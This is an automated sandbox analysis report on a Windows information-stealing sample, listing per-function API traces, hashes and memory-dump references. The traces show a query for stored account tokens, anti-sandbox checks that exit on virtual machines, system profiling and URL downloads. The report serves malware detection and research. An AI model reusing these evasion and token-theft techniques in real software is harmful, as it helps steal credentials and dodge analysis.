Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01253360), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01253378), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01253390), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,012533A8), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,012533C0), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,012533D8), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01254520), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01254540), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,012533E8), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01254560), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,01254578), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,012504B0), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,012504C8), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(77190000,012574E8), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: CreateDCA.GDI32(01250598,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01250578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,01250578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.KERNEL32(00000000,01266F88,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,01266E68,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,01260580,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,01266DA8,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,01260580,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.KERNEL32(80000001,01266890,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,01267390,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,01267408), ref: 0041415B

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01250578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

